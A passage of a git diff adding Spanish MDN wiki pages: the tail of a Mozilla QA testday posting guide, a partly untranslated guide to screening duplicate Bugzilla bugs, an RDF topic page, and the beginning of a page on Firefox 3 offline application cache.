+<p>Este es un ejemplo de una exelente página de <a href="http://quality.mozilla.org/events/2011/02/28/add-ons-compatibility-and-add-ons-manager-testday-march-4th/">Evento QMO</a>. <strong>Antes de postear asegurate de:</strong></p>
+
+<ul>
+ <li>"Es este post un evento?" está fijado en "Yes" abajo</li>
+ <li>"Es todo el día el evento?" está destiqueado y la fecha/hora está debidamente ajustada (todas las horas en PDT)</li>
+ <li>Todo los demás detalles del evento pueden ser dejados en blanco</li>
+ <li>A la derecha abajo "Categorias", tiquea "Eventos", "QMO News" y cualquier "Teams"</li>
+ <li><strong>Asegura te GUARDAR BORRADORES y VISTA PREVIA antes de publicar</strong> (de ser posible,  consige a alguien que revise)</li>
+</ul>
+
+<h3 id="Publicación_en_QMO"><a name="blog"></a>Publicación en QMO</h3>
+
+<p>El día antes al testday, simplemente crea un post que recuerde a las personas que el testday será <em>mañana</em>.</p>
+
+<ul>
+ <li>El título debe ser algo así como "RECUERDA: El Firefox Aurora Testday es Mañana!"</li>
+ <li>El mensaje debe resumir la actividad, tiempo, la URL al canal de mibbit, y un enlace a la página del Evento QMO para más información</li>
+ <li>Asegurate de darle las gracias de antemano por su asistencia</li>
+ <li>Asegurate de que las "Categorias" en la derecha se ajustan a "QMO News"</li>
+ <li><strong>Asegurate de GUARDAR EN BORRADOR y VISTA PREVIA antes de publicar</strong></li>
+</ul>
+
+<p>Este es un buen ejemplo de un <a href="http://quality.mozilla.org/qmo-news/2011/03/24/testday-reminder-mozmill-crowd-and-endurance-testing/">Recordatorio a un evento QMO</a>. Tu publicación debe ser sindicada en el Planet dentro de 30 minutos a una hora.</p>
+
+<h3 id="Publicación_de_Resultados_QMO"><a name="results"></a>Publicación de Resultados QMO</h3>
+
+<p>El día después del testday, elavora otra publicación que resalte los resultados.</p>
+
+<ul>
+ <li>El título debe ser similar a "Resultados del Firefox Aurora Testday"</li>
+ <li>El mensaje debe resumir la actividad y el valor que proporciona</li>
+ <li>Resaltar algunos de los resultados (número de bugs clasificado, número de  bugs confirmado/verficado, número de testers, etc)</li>
+ <li>Identificar y agradecer a los mejores tester</li>
+ <li>Identificar y agradecer a alguna de las personas que estuvieron entre los mejores  top-tester</li>
+ <li>Dar agradecimiento general a todas las personas que colaboraron</li>
+ <li>Proveer un enlace al próximo testday (debe estar disponible) e invitar a las personas para que vuelvan a ayudar</li>
+ <li>Asegurate de que "Categorias" en la derecha está ajustado a "QMO News"<strong> </strong></li>
+ <li><strong>Asegurate de GUARDAR BORRADOR y PREVISUALIZAR  antes de publicar</strong></li>
+</ul>
+
+<p>Este es un buen ejemplo de una <a href="http://quality.mozilla.org/qmo-news/2011/04/26/results-of-the-aurora-422-testday/">Publicación de Resultados QMO</a>. Tu publicación debe estar sindicada en el Planet en 30 minutos a una hora.  </p>
+
+<div class="originaldocinfo">
+<h2 id="Información_Original_de_documento">Información Original de documento</h2>
+
+<ul>
+ <li>Autor(es): Anthony Hughes</li>
+ <li>Fecha de la última modificación: Octubre  25, 2011 a las 11:16 am PST</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/qa/screening_duplicate_bugs/index.html b/files/es/qa/screening_duplicate_bugs/index.html
new file mode 100644
index 0000000000..b6480d53cb
--- /dev/null
+++ b/files/es/qa/screening_duplicate_bugs/index.html
@@ -0,0 +1,157 @@
+---
+title: Screening duplicate bugs
+slug: QA/Screening_duplicate_bugs
+translation_of: Mozilla/QA/Screening_duplicate_bugs
+---
+<address class="author">
+ <strong>Por <a class="link-mailto" href="mailto:sidr@albedo.net?subject=Text%20Searching%20in%20Bugzilla%20doc">Sean Richardson</a></strong></address>
+<p><span style="line-height: 1.5;">Si has estado </span><a href="/en/docs/Confirming_unconfirmed_bugs" style="line-height: 1.5;" title="http://developer.mozilla.org/en/docs/Confirming_unconfirmed_bugs">confirmando</a><span style="line-height: 1.5;"> bugs SIN CONFIRMAR o viendo </span><a class="link-https" href="https://bugzilla.mozilla.org/query.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;product=Core&amp;product=Firefox&amp;product=Mozilla+Application+Suite&amp;product=Thunderbird" style="line-height: 1.5;">nuevos</a><span style="line-height: 1.5;"> bugs, te habrás dado cuenta de que todos los bugs que son enviados por reporteros inexperimentados son bugs DUPLICADOS. A pesar de que menos de la mitad resultan ser duplicados, lo mejor es asumir que cada uno lo es hasta que uno se convenza de lo contrario.</span></p>
+<p>Esto es una guía que sirve para ayudarle a identificar la máxima cantidad posible de bugs duplicados que llegan de la manera mas eficiente. Se asume que siente cierta comodidad usando <a class="internal" href="/en/Searching_Bugzilla" style="line-height: 1.5;" title="en/Searching Bugzilla">Searching Bugzilla</a>.</p>
+<p>Este tutorial está escrito como si fueras a sentarte y a buscar bugs DUPLICADOS (DUPs) uno tras otros, pero muchos de estos se aplican, no importa como llegues a un bug potencialmente duplicado. Si quieres intentar identificar los bugs DUPLICADOS uno por uno al final de la lista hay una lista de bugs, que indica los tipos de bugs que usualmente están DUPLICADOS.</p>
+<p><span style="line-height: 1.5;">Mientras que estés revisando los reportes de bugs para ver si hay DUPLICADOS, por favor confirma los bugs SIN CONFIRMAR, agrega o simplifica casos de prueba, mejora los pasos para reproducirlo, mejora el resumen, reporta si lo has reproducido en otra plataforma, y/o si has hecho algo mas que tenga sentido antes de moverte al próximo, si el bug no parece ser un DUPLICADO.</span></p>
+<p>Para marcar a un bug como DUPLICADO, <a class="link-https" href="https://bugzilla.mozilla.org/userprefs.cgi?tab=permissions" style="line-height: 1.5;">tu</a> necesitas el <a class="external" href="http://www.mozilla.org/quality/help/unconfirmed.html" style="line-height: 1.5;">permiso</a> <span style="line-height: 1.5;">"Puedes editar todos los aspectos de cualquier bug". Si no tienes este permiso, manda un e-mail a </span><a class="external" href="http://www.gerv.net/hacking/before-you-mail-gerv.html" style="line-height: 1.5;">Gerv</a> o a <a href="mailto:bugmaster@mozilla.com?subject=%5Bedit-bugs-request%5D%20" style="line-height: 1.5;" title="mailto:bugmaster@mozilla.com?subject=%5Bedit-bugs-request%5D%20">bugmaster@mozilla.com</a>, y pregunta si lo pueden agregar a tu cuenta de Bugzilla. Mientras tanto, agrega un comentario a cualquier bug mencionando de que es, o puede ser un duplicado.</p>
+<p> </p>
+<h3 id="Los_bugs_rápidos_y_obvios">Los bugs rápidos y obvios</h3>
+<dl>
+ <dd>
+  Si no lo has hecho todavía, por favor tomate tu tiempo con <a href="https://bugzilla.mozilla.org/duplicates.cgi" title="most-frequent-bugs">la lista de los bugs más frecuentemente reportados de Mozilla</a> y la sección de los <strong>Problemas Conocidos en </strong><a class="external" href="http://www.mozilla.org/products/firefox/releases/">notas de versiones de Firefox</a>.</dd>
+ <dt>
+   </dt>
+ <dd>
+  Si el reporte se parece a una regresión reciente, fijate en <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_severity=blocker&amp;bug_severity=critical&amp;bug_severity=major&amp;keywords=smoketest">los bugs recientemente reportados</a> por el equipo de <a class="external" href="http://quality.mozilla.org/" style="text-decoration: underline;">QA</a> team, y en el newsgroup (<a class="link-news" href="news://news.mozilla.org/netscape.public.mozilla.builds" style="line-height: 1.5;">netscape.public.mozilla.builds</a><span style="line-height: 1.5;">) para ver si el problema ya es conocido.</span></dd>
+ <dd>
+   </dd>
+ <dd>
+  <span style="line-height: 1.5;">También puedes ver más en la lista de </span><a class="link-https" href="https://bugzilla.mozilla.org/query.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=RESOLVED&amp;changedin=1&amp;product=Firefox&amp;product=Thunderbird" style="line-height: 1.5;">bugs de hoy para Firefox y Thunderbird</a><span style="line-height: 1.5;">. Mira la página de </span><a class="external" href="http://quality.mozilla.org/howto/litmus/tutorial" style="line-height: 1.5;" title="http://quality.mozilla.org/howto/litmus/tutorial">smoketesting</a><span style="line-height: 1.5;"> si quieres concentrarte en esta área.</span></dd>
+ <dd>
+  Tendrás menos dicultades escogiendo los bugs duplicados que tu ya cononces que se han reportado. En lugar de ir a través de la lista de bugs en orden, busca en ella bugs cuyos resúmenes parecen familiares, para que puedas tener tantos duplicados como se pueda sin reordenar las busquedas no guiadas.  Los DUPs que tu has reportado o que has encontrado deberían de ser los más fáciles de encontrar, y los más productivos al resolverlos, desde que eres capaz de reconocer y evaluar los identicos rápidamente. </dd>
+ <dt>
+   </dt>
+ <dd>
+  Some ways to narrow down the query based on what you remember:
+  <ul>
+   <li>If you can remember an e-mail address associated with the existing bug, enter it into one of the <strong>Email</strong> sections and set the appropriate role(s). Do the same if you think you added a comment to the existing bug.</li>
+   <li>If you can remember roughly when the bug entered the system, choose "[Bug Creation]" in the <strong>Where the field(s)</strong> field, and set a date range in the <strong>dates</strong> and <strong>to</strong> fields.</li>
+   <li>If you know you've seen some mail from <a class="link-mailto" href="mailto:bugzilla-daemon@mozilla.org" rel="freelink">bugzilla-daemon@mozilla.org</a> on the subject of an existing bug that's a candidate for a match lately, enter a number in the <strong>Changed in the last [ ] days</strong> field.</li>
+  </ul>
+ </dd>
+ <dd>
+  If you get no matches, your recall may be fallible, so try the search again without the restriction.<br>
+   </dd>
+ <dd>
+  If you were able to quickly find the correct bug report to mark a new bug a DUP of, but its summary contains none of the words the reporter of the new bug might have tried to search with, consider adding those words to the summary, or, if you can't do that, including them in a comment suggesting that they be added to the summary -- especially if the bug looks likely to get more duplicates.</dd>
+</dl>
+<h3 id="Searching">Searching</h3>
+<dl>
+ <dd>
+  The first field, <strong>Status</strong>, is normally preset to find NEW, ASSIGNED, and REOPENED bugs. Add UNCONFIRMED (use Ctrl-click in Windows, Command-click in MacOS) to find duplicates among newly-entered bugs too.<br>
+   </dd>
+ <dd>
+  To cast a wider net, add RESOLVED and VERIFIED, or deselect everything in the <strong>Status</strong> field. Do this if you wouldn't otherwise expect a long bug list, or when trying again if you got a relatively short list with no matches. It can be easier to find earlier DUPLICATE bugs (which will be RESOLVED) and follow them to the "real" bug, especially if there are several DUPs already. The existing bug you are hunting for may also have been fixed already.<br>
+   </dd>
+ <dd>
+  To exclude obviously extraneous bugs, narrow the search by making a choice under <strong>Product</strong>. Usually it will be "Core" (for Browser, HTML composition, and text-editing bugs) or "Firefox" or "Thunderbird".<br>
+   </dd>
+ <dd>
+  If the proper component for previously reported bug is obvious (as could be expected for, as an example, most "Bookmarks" bugs), choose that component. You can select multiple components at once. Be prepared, though, to retry you query without specifying a component if you don't find a match - not all bugs end up where you'd expect.<br>
+   </dd>
+ <dd>
+  The same will apply to the <a class="link-https" href="https://bugzilla.mozilla.org/describekeywords.cgi">Keywords</a> field. Not all bugs that should be labelled "fonts", for instance, necessarily are.<br>
+   </dd>
+ <dd>
+  Beside each of the <strong>Summary</strong>, <strong>Description entry</strong>, and <strong>URL</strong> fields. There is a drop-down that lets you choose the type of matching. Choose among "case-insensitive substring","case-sensitive substring", "all words", "any words", or "regular expression", as appropriate (hints on which work best for several common search scenarios are available in the <a class="external" href="http://www.mozilla.org/bugs/text-searching.html#real-life%20examples">Text Searching</a> tutorial). Although searching within the <strong>Description entry</strong> is much slower than any other field, go ahead and use it if it makes sense or the search terms available might not show up in the summary, but try to restrict the search with other fields at the same time if you can.<br>
+   </dd>
+ <dd>
+  Boolean Charts are an advanced feature that can let you do searches that are otherwise impossible. You can use any kind of match with almost any field, and set up boolean <em>and</em>s and <em>or</em>s. The first chart always <strong>ands</strong> with the rest of the query form. As a trivial example, to search for bugs about the tab key and exclude bugs about tables, add [Summary] [Does not contain (case-insensitive) substring] ["table"] after putting "tab" in the <strong>Summary</strong> field.{C}<br>
+   </dd>
+ <dd>
+  If you don't find a match on the bug list generated by your first query, it is usually worth trying at least one or two more queries.</dd>
+</dl>
+<h3 id="Matching">Matching</h3>
+<dl>
+ <dd>
+  When the bug list appears, scan it for anything that looks like a possible match. It's useful to open bugs in a new window to preserve the list. At the top of each column, clicking on its name will sort the bugs by that field. You can add other fields to the bug list by clicking on <span style="text-decoration: underline;">Change columns</span>; for some searches, the <strong>Components</strong> column can be very useful.<br>
+   </dd>
+ <dd>
+  If you find a clear and certain match, add a comment stating which bug the duplicate bug is a DUPLICATE of (if the bug report that matches is itself a DUP, follow the trail of "This bug has been marked as a duplicate of <span style="text-decoration: underline;">00000</span>" comments). If you had to read deep into the existing bug or puzzle out the connection, mention the date of the comment that explains the match or describe the connection.<br>
+   </dd>
+ <dd>
+  If you are not certain of the match, but it looks probable or even possible, add a comment, but also say how sure you are. Even if you are not completely certain that a new bug is a DUP at all, if you think it probably is or even might be, add a comment saying that.<br>
+   </dd>
+ <dd>
+  If the original report is deficient enough that you had to try to reproduce the bug before you could understand what the report was saying, please add enough detail so that the next person reading the bug won't have that problem, and will have an easier time confirming or verifying the match. Even if you don't find a match at all, please do this to make it easier for the next person, who might make the connection immediately given your improved description.<br>
+   </dd>
+ <dd>
+  If the existing bug that the DUPLICATE matches to is in a different component, change the <strong>Component</strong> field to match the existing bug.<br>
+   </dd>
+ <dd>
+  Finally, if you are sure that the bug is a DUPLICATE, go ahead and click on the radio button beside <strong>Resolve bug, mark it as duplicate of bug # [     ]</strong> and enter the bug number of the existing bug. Be sure to check for a typo or transposition error before clicking on <strong>[Commit]</strong>.<br>
+   </dd>
+ <dd>
+  If, to the best of your knowledge, a new UNCONFIRMED bug is not a DUP, please follow the steps outlined in the <a href="/Screening_duplicate_bugs/unconfirmed.html" title="https://developer.mozilla.org/en-US/docs/Mozilla/QA/Confirming_unconfirmed_bugs">Confirming Unconfirmed Bugs</a> guidelines before moving on to the next.</dd>
+</dl>
+<h3 id="Which_is_the_Duplicate">Which is the Duplicate?</h3>
+<dl>
+ <dd>
+  Other things being equal, newer bugs should be made DUPLICATES of older bugs, but, more importantly, whichever bug is further along in the process of getting fixed should <em>not</em> be made a duplicate. Signs that progess has been made include:
+  <ul>
+   <li>the bug is marked FIXED, a patch is attached or a fix is promised soon</li>
+   <li>the bug is ASSIGNED to the right Component and developer</li>
+   <li>the bug has been analyzed by developers</li>
+   <li>the bug has been given a higher priority (e.g., [PDT+], beta2) or an imminent milestone</li>
+   <li>the bug report has a explanation of how to reliably reproduce the bug and/or it has a simplified <a href="/en/Reducing_testcases" title="http://developer.mozilla.org/en/Reducing_testcases">testcase</a></li>
+  </ul>
+ </dd>
+ <dd>
+  UNCONFIRMED and "General" bugs should <em>never</em> have another bug made a duplicate of them unless the other bug is also an UNCONFIRMED or "General" bug. Even then, the bug reports that have less detail and work should be made duplicate of the bug reports that are further along, even if those are older. At that point the bug that receives the DUP should normally be confirmed, if it is not already.<br>
+   </dd>
+ <dd>
+  If you are stumped, add a comment resembling the following:
+  <pre>This bug appears to be a duplicate of bug nnnnn, but
+I'm not sure which should be made DUPLICATE of which.</pre>
+ </dd>
+</dl>
+<h3 id="One_Down_or_Keeping_in_the_Groove">One Down, or, Keeping in the Groove</h3>
+<dl>
+ <dd>
+  Take another look at the bug list after making a match: there may well be another DUPLICATE of the same bug lurking there. You might also see two bugs on the list that look suspiciously similar even though neither matches the bug you started with.<br>
+   </dd>
+ <dd>
+  After some time you will naturally become much more familiar with some types of issues and some components than others. Go with that, focus on the areas you can make sense of quickly. You might also have some existing expertise or experience that makes it easier for you to evaluate some bugs. If you know javascript well, for instance, it makes sense to check over new-to-you DOM bugs before identifying duplicates in any other area.<br>
+   </dd>
+ <dd>
+  Similarly, let your tools guide you, to some extent at least. If you know how to use a Debugger, you can make more of a contribution to evaluating Crashers than others can, so it makes sense to look at them. Similarly, some bugs that are reported on Linux, Macs, or other platforms are specific to the platform or platform/OS combination that they were reported on. Someone unfamiliar with that platform won't be as efficient, so if you regularly use something other than Microsoft Windows, please look at bugs reported on your platform first, by selecting it on the query page. Use the <span style="text-decoration: underline;">Edit this query</span> link at the bottom of a bug list to get back to the query form if you can't use the [Back] button.<br>
+   </dd>
+ <dd>
+  By concentrating on the bug reports that you have the skills and experience to evaluate quickly and surely, you will be able to help more in the time you can contribute.</dd>
+</dl>
+<h3 id="Specific_Types_of_Duplicates">Specific Types of Duplicates</h3>
+<p>Some types of bug reports need or can benefit from special handling:</p>
+<ol>
+ <li><strong>Bug reports about a particular URL:</strong> Check first for a substring (usually just the domain name is appropriate) of the URL in the URL field, matching against bugs with any Status. Obvious exact DUPs should show up easily that way, so long as the reporter filled in the URL field. In case that was not done, check in the Description entry field if there is no match in the URL field.</li>
+ <li><strong>Reports of Crashes:</strong> Crashes are identified by what specific code crashed, not how they are reproduced, so some sort of debugging output may be required before a determination can be made whether a crash report is a DUP. If you reproduce a crash on a previously unreported platform or OS, or using a current binary when the reporter was using a milestone release, please add as much detail as you can. If a module name is reported or you can generate a stack trace, search in Bugzilla for bugs with the <em>crash keyword</em>. If you don't find a match, add "crash" to the keywords field, so long as you were able to reproduce the crash.</li>
+ <li><strong>Multiply-DUPLICATE reports:</strong> Some bug reports describe a number of often unrelated problems. If all of the problems mentioned are clearly duplicates of existing bug reports, mark the new bug report as a DUPLICATE based on the first issue. If it is clear that <em>all but one</em> of the problems have already been reported, state that, citing the bug numbers if possible, and adjust the <strong>Summary</strong> to refer to the remaining problem.</li>
+ <li><strong>"General" bug reports:</strong> Be sure to move the bug to the appropriate Component if you can identify it, and copy over the QA contact, at the same time that you mark it as a DUP, so that it can be verified by someone familiar with the existing bug report.</li>
+ <li><strong>Same Exact Bug, two bug numbers:</strong> Sometimes a bug report ends up in the Bugzilla database twice in a row. If you see two bugs with the same summary and adjacent bug numbers, mark one as a DUP of the other immediately, before both get comments -- but look at both first, in case one has comments already.</li>
+ <li><strong>An ASSIGNED bug may be a DUP:</strong> It does sometimes happen that one assigned bug is a duplicate of another. If both are assigned to the same engineer, add a comment to the one that is not as far along as the other; if two different engineers are involved, add a comment to both, pointing out the existence of the other and why it appears to be a DUP. Do not resolve ASSIGNED bugs as DUPs yourself; the assignee should do that.</li>
+</ol>
+<h3 id="Lists_Where_Duplicates_Lurk">Lists Where Duplicates Lurk</h3>
+<dl>
+ <dd>
+  The greatest concentration of duplicate bugs is in those that enter the database as UNCONFIRMED, although plenty of NEW bugs also turn out to be DUPs. Bugs do occasionally get ASSIGNED before being found to be a DUP, but that is what duplicate-screening is meant to prevent, so please concentrate on UNCONFIRMED and NEW bugs.<br>
+   </dd>
+ <dd>
+  The bug lists below are displayed in rough descending order of prevalence of duplicates. They will appear in new windows; you may want to open bugs from the list in new windows too, to preserve the list. Happy matching; if you find only one DUP, you'll have earned the thanks of a busy software enginner.<br>
+   </dd>
+ <dd>
+  <ul>
+   <li><a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;product=Core&amp;product=Firefox&amp;product=Browser+Localizations&amp;changedin=7">UNCONFIRMED Firefox bugs changed in the last week</a> | <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;op_sys=Linux&amp;product=Core&amp;product=Firefox&amp;product=Browser+Localizations&amp;changedin=7">Linux</a>-only | <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;rep_platform=Macintosh&amp;product=Firefox+Localizations&amp;changedin=7">Mac</a>-only | <a class="link-https" href="https://bugzilla.mozilla.org/query.cgi?bug_status=UNCONFIRMED&amp;product=Core&amp;product=Firefox&amp;product=Browser+Localizations&amp;changedin=7"><em>Customize</em></a></li>
+  </ul>
+  <ul>
+   <li><a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;changedin=2&amp;product=Core&amp;product=Firefox&amp;product=Thunderbird">Today's &amp; Yesterday's UNCONFIRMED <em>and</em> NEW Firefox and Thunderbird Bugs</a> | <a class="link-https" href="https://bugzilla.mozilla.org/query.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;changedin=2&amp;product=Core&amp;product=Firefox&amp;product=Thunderbird"><em>Customize</em></a><br>
+    (<a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;changedin=2&amp;product=Core&amp;product=Firefox&amp;product=Thunderbird">UNCONFIRMED</a>-only | <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;changedin=2&amp;product=Core&amp;product=Firefox&amp;product=Thunderbird">NEW</a>-only</li>
+   <li><a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;product=Thunderbird&amp;changedin=7">UNCONFIRMED Thunderbird bugs changed in the last week</a> | <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;op_sys=Linux&amp;product=Thunderbird&amp;changedin=7">Linux</a>-only | <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;rep_platform=Macintosh&amp;product=Thunderbird&amp;changedin=7">Mac</a>-only | <a class="external" href="http://bugzilla.mozilla.org/query.cgi?bug_status=UNCONFIRMED&amp;product=Thunderbird&amp;changedin=7"><em>Customize</em></a></li>
+  </ul>
+ </dd>
+</dl>
+<p><small>(Thanks to Jan Leger, Eli Goldberg, David Baron, John Morrison, Matthew Thomas, Gervase Markham, Liz Henry, and Terry Weissman for contributing to this document. Additional <a class="link-news" href="news://news.mozilla.org/netscape.public.mozilla.qa.general">suggestions</a> welcome.)</small></p>
diff --git a/files/es/rdf/index.html b/files/es/rdf/index.html
new file mode 100644
index 0000000000..500f4578d4
--- /dev/null
+++ b/files/es/rdf/index.html
@@ -0,0 +1,56 @@
+---
+title: RDF
+slug: RDF
+tags:
+  - RDF
+  - Todas_las_Categorías
+translation_of: Archive/Web/RDF
+---
+<p>
+</p>
+<div class="callout-box"><b><a class="external" href="http://www.w3c.es/Divulgacion/Guiasbreves/WebSemantica">Guía Breve de Web Semántica</a></b> <br>
+RDF es uno de los pilares de la Web Semántica, pero... ¿Qué es la Web Semántica?.</div> <p>El <b>Marco de Descripción de Recursos (RDF)</b> es una familia de especificaciones para un modelo de metadatos que a menudo es implementado como una aplicación XML.
+</p><p>RDF se basa en la idea de hacer las declaraciones sobre los recursos en la forma de una expresión de sujeto-predicado-objeto, llamado "un triple" en terminología RDF. El sujeto es el recurso, "la cosa" descrita. El predicado es un rasgo o el aspecto relativo al recurso, y a menudo expresa una relación entre el sujeto y el objeto. El objeto es el valor de aquel rasgo.
+</p><p>RDF es un estándar del <a class="external" href="http://www.w3.org/RDF/">W3C</a>
+</p>
+<table class="topicpage-table"> <tbody><tr> <td>
+<h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"> <a>Documentación</a> </h4>
+<dl><dt> <a class="external" href="http://www.malditainternet.com/node/96">¿Que es RDF?</a>
+</dt><dd> <small>RDF es uno de los vocabularios de XML que mas se ha hecho sentir ultimamente, RDF propone ser el gran habilitador de la web semantica y convertirse en el standard universal para los metadatos en la web.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/rdf/rdfesp.htm">RDF Especificación del Modelo y la Sintaxis</a>
+</dt><dd> <small>Traducción de la recomendación del W3C 22 febrero 1999. Este documento ha sido sustituido por: <a class="external" href="http://www.w3.org/TR/rdf-primer/">RDF Primer, W3C Recommendation 10 February 2004</a></small>
+</dd></dl>
+<dl><dt> <a href="es/Preguntas_frecuentes_sobre_RDF_en_Mozilla">Preguntas frecuentes sobre RDF en Mozilla</a>
+</dt><dd> <small>Faq sobre el Marco de Descripción de Recursos en Mozilla.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.hipertext.net/web/pag236.htm">Marco de Descripción de Recursos</a>
+</dt><dd> <small>Otra introducción al tema.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Ver más...</a></span> </p>
+</td> <td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> Lista sobre <a class="link-https" href="https://listas.hispalinux.es/mailman/listinfo/web-semantica-ayuda">Web semántica</a>
+</li></ul>
+<ul><li> La comunidad Mozilla... En inglés.
+</li></ul>
+<p>{{ DiscussionList("dev-tech-rdf", "mozilla.dev.tech.rdf") }}
+<span class="comment">* {{ mediawiki.external('http://www.ilrt.bris.ac.uk/discovery/rdf-dev/ RDF-Dev mailing list') }}</span>
+</p><p><span class="alllinks"><a href="es/RDF/Comunidad">Ver más...</a></span> </p>
+<h4 id="Herramientas" name="Herramientas"> Herramientas </h4>
+<ul><li> <a class="external" href="http://planetrdf.com/guide/#sec-tools">RDF, Editores y herramientas <sup>(en)</sup></a>
+</li><li> <a class="external" href="http://www.w3.org/RDF/Validator/">Validador RDF <sup>(en)</sup></a>
+</li><li> <a class="external" href="http://swoogle.umbc.edu/">Swoogle <sup>(en)</sup></a>
+</li></ul>
+<p><span class="alllinks"><a>Ver más...</a></span> </p>
+<h4 id="Temas_Relacionados" name="Temas_Relacionados"> Temas Relacionados </h4>
+<dl><dd> <a href="es/XML">XML</a>
+</dd></dl>
+</td> </tr> </tbody></table>
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "de": "de/RDF", "en": "en/RDF", "fr": "fr/RDF", "it": "it/RDF", "ja": "ja/RDF", "ko": "ko/RDF", "pl": "pl/RDF", "pt": "pt/RDF", "ru": "ru/RDF" } ) }}
diff --git a/files/es/recursos_en_modo_desconectado_en_firefox/index.html b/files/es/recursos_en_modo_desconectado_en_firefox/index.html
new file mode 100644
index 0000000000..1c187da642
--- /dev/null
+++ b/files/es/recursos_en_modo_desconectado_en_firefox/index.html
@@ -0,0 +1,161 @@
+---
+title: Recursos en modo desconectado en Firefox
+slug: Recursos_en_modo_desconectado_en_Firefox
+tags:
+  - Aplicaciones_web_en_desconectado
+  - Firefox 3
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Firefox 3 implementa en gran parte el soporte HTML 5 para la memoria<em>cache</em> (memoria temporal) de la aplicación web en modo desconectado. Esto lo hace por medio del cache de la aplicación (un conjunto de recursos obtenido con un manifiesto proporcionado por la aplicación web).</p>
+
+<h3 id="El_cache_de_la_aplicaci.C3.B3n" name="El_cache_de_la_aplicaci.C3.B3n">El cache de la aplicación</h3>
+
+<p>{{ Note("Firefox no gestiona actualmente ningún control de versión en el cache de aplicación.") }}</p>
+
+<p>Ya que múltiples aplicaciones web pueden compartir recursos (y pueden incluso compartir la misma URI) cada aplicación mantiene su propio cache (su propia memoria temporal). Sin embargo, las diferentes cache de las aplicaciones son agrupadas por su propio manifiesto de usuario y tienen un<em>estado de actualización</em> conjunto. El estado de actualización es uno de los siguientes:</p>
+
+<dl>
+ <dt><code>idle</code></dt>
+ <dd>El cache de aplicación no está descargando actualizaciones.</dd>
+ <dt><code>checking</code></dt>
+ <dd>El cache está comprobando su propio manifiesto de recursos, para ver si hay uno más reciente.</dd>
+ <dt><code>downloading</code></dt>
+ <dd>El cache está actualizando su manifiesto de recursos con información nueva, ya que el anterior fue modificado.</dd>
+</dl>
+
+<p>{{ Fx_minversion_note(3, "Actualmente, sólo se permiten estradas de recursos. Firefox no admite aún cambios oportunistas o entradas de restitución (volver a versiones anteriores), sin embargo, es recomendable suministrar una lista blanca, si procede, para una compatibilidad futura.") }}</p>
+
+<h4 id="Recursos" name="Recursos">Recursos</h4>
+
+<p>El cache siempre incluye al menos un recurso, identificado por su URI, de al menos una de las siguientes categorías:</p>
+
+<dl>
+ <dt>Entradas implícitas (Implicit entries)</dt>
+ <dd>Son recursos agregados al cache por que un contexto de navegación principal visitado por el usuario incluyó un documento que indica que el recurso está en su cache, utilizando su atributo <code>manifest</code>.</dd>
+ <dt>El manifiesto (manifest)</dt>
+ <dd>Este es el manifiesto de recurso en sí mismo, cargado desde la URI especificada en una entrada de <code>html</code> implícita con el atributo <code>manifest</code>. El manifiesto es descargado y tratado durante el proceso de actualización del cache de la aplicación. Las entradas implícitas han de tener el mismo protocolo, servidor y puerto que el manifiesto.</dd>
+ <dt>Entradas explícitas (Explicit entries)</dt>
+ <dd>Son recursos listados en el manifiesto del cache.</dd>
+ <dt>Entradas de restitución/recuperación (Fallback entries)</dt>
+ <dd>Son recursos que fueron listados en el manifiesto del cache como entradas "fallback". <strong>No admitido aún en Firefox.</strong></dd>
+ <dt>Entradas oportunistas (Opportunistically cached entries)</dt>
+ <dd>Son recursos cuyas URI correspondían a un espacio de nombre de puesta en cache oportunista cuando se descargaron y que por tanto, fueron puestas automáticamente en la memoria de la aplicación. <strong>No admitido aún en Firefox.</strong></dd>
+ <dt>Entradas dinámicas (Dynamic entries)</dt>
+ <dd>Son recursos añadidos por programa, con el método <code><a href="es/NsIDOMOfflineResourceList#add.28.29">add()</a></code>.</dd>
+</dl>
+
+<h4 id="La_lista_blanca_en_l.C3.ADnea" name="La_lista_blanca_en_l.C3.ADnea">La lista blanca en línea</h4>
+
+<p>La lista blanca puede contener cero o más URIs de recursos, que la aplicación web necesitará obtener del servidor en lugar de desde la memoria cache. Esto permite al modelo de seguridad del navegador proteger al usuario de posibles brechas de seguridad, limitando el acceso sólo a recursos aprobados.</p>
+
+<p>{{ Note("La lista blanca no se usa en Firefox 3, sin embargo, convendría facilitar una si se necesita, tanto para tener y/o mantener la compatibilidad con versiones futuras de Firefox u otros navegadores que implementen recursos en modo desconectado.") }}</p>
+
+<h3 id="El_manifiesto" name="El_manifiesto">El manifiesto</h3>
+
